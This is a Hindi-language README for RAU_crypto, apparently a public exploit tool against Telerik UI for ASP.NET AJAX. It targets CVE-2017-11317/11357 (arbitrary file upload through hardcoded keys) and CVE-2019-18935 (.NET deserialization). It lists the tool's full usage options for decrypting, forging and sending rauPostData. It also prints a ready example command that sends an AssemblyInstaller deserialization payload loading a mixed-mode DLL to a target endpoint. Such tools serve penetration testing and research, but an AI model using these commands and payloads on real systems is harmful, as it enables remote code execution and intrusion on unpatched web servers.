RAU_crypto

Telerik UI for ASP.NET AJAX के लिए संयुक्त शोषण।

• CVE-2017-11317 और CVE-2017-11357 के लिए फ़ाइल अपलोड - स्वचालित रूप से फ़ाइल अपलोड करेगा
• CVE-2019-18935 के लिए .NET डिसीरियलाइज़ेशन

शोषण के काम करने के लिए, आम तौर पर आपको हार्ड कोडेड कुंजियों वाले संस्करण की आवश्यकता होती है, या आपको कुंजी जानने की आवश्यकता होती है, उदाहरण के लिए यदि आप web.config की सामग्री का खुलासा कर सकते हैं। यह शोषण Telerik.Web.UI.WebResource.axd?type=rau के साथ उपयोग किए जाने वाले rauPostData के सीधे डिक्रिप्शन और एन्क्रिप्शन की भी अनुमति देता है।

आवश्यकताएं

• python >= 3.6 जिसमें pycryptodome हो (https://www.pycryptodome.org/en/latest/src/installation.html) - pip3 install pycryptodome या pip3 install pycryptodomex से स्थापित करें

exploit-db पर प्रकाशित (पुराना संस्करण)

• https://www.exploit-db.com/exploits/43874/

यह भी देखें

मेरा अन्य Telerik UI शोषण (CVE-2017-9248 के लिए) शायद आपकी रुचि का होगा। यह यहाँ उपलब्ध है:

• https://github.com/bao7uo/dp_crypto

करने के लिए

• बाद के संस्करणों के लिए गुम HMAC कार्यक्षमता।
• कस्टम कुंजी निर्दिष्ट करने की क्षमता।
• मिश्रित मोड dll के निष्पादन के लिए कमांड लाइन तर्क (इस बीच नीचे दिए गए उदाहरण .NET डिसीरियलाइज़ेशन पेलोड का उपयोग करें)।
• मिश्रित मोड dll के परीक्षण के लिए अलग उपयोगिता।
• मिश्रित मोड dll के लिए स्रोत कोड/संकलन निर्देश प्रदान करें।
• ब्रूट फोर्स संस्करण।

नोट - अंतिम चार आइटम पूर्ण हैं लेकिन जारी नहीं किए गए।

कमजोरियां

फ़ाइल अपलोड (CVE-2017-11317) कमजोरी दूसरों द्वारा खोजी गई थी, मेरा मानना है कि श्रेय @straight_blast @pwntester @olekmirosh को जाता है। इसकी घोषणा के कुछ ही समय बाद, मैंने अपने काम के दौरान Telerik लाइब्रेरी का सामना किया, इसलिए मैंने इसका और कमजोरी का शोध किया और जुलाई 2017 में यह शोषण लिखा। मैंने संबंधित असुरक्षित प्रत्यक्ष वस्तु संदर्भ के लिए CVE-2017-11357 की भी रिपोर्ट की।

https://www.telerik.com/support/kb/aspnet-ajax/upload-%28async%29/details/insecure-direct-object-reference

.NET डिसीरियलाइज़ेशन (CVE-2019-18935) कमजोरी @mwulftange द्वारा खोजी गई थी।

https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization

उपयोग

$ ./RAU_crypto.py 

RAU_crypto by Paul Taylor / @bao7uo 
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation

Usage:

Decrypt a ciphertext:               -d ciphertext
Decrypt rauPostData:                -D rauPostData
Encrypt a plaintext:                -e plaintext

Generate file upload rauPostData:   -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file:                        -P c:\\destination\\folder Version c:\\local\\filename url [proxy]

Generate custom payload POST data : -c partA partB
Send custom payload:                -C partA partB url [proxy]

Example URL:               http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version format:    2016.2.504
Example optional proxy:    127.0.0.1:8080

N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$

उदाहरण - डिक्रिप्शन

Decrypt screenshot

उदाहरण - मनमाना फ़ाइल अपलोड

Upload screenshot

कस्टम पेलोड (.NET डिसीरियलाइज़ेशन)

.NET डिसीरियलाइज़ेशन के लिए कस्टम पेलोड के विवरण के लिए, @mwulftange का एक शानदार लेख है जिसने कोड व्हाइट ब्लॉग पर इस कमजोरी की खोज की, निम्नलिखित लिंक पर।

• https://codewhitesec.blogspot.com/2019/02/telerik-revisited.html

अन्य प्रासंगिक लिंक।

• https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
• https://threatvector.cylance.com/en_us/home/implications-of-loading-net-assemblies.html
• https://thewover.github.io/Mixed-Assemblies/

उदाहरण .NET डिसीरियलाइज़ेशन पेलोड:

$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau

मिश्रित मोड DLL के लिए, मेरा अन्य github रिपॉजिटरी देखें:

• https://github.com/bao7uo/MixedUp

विशेष धन्यवाद @irsdl को जिन्होंने कस्टम पेलोड सुविधा को प्रेरित किया।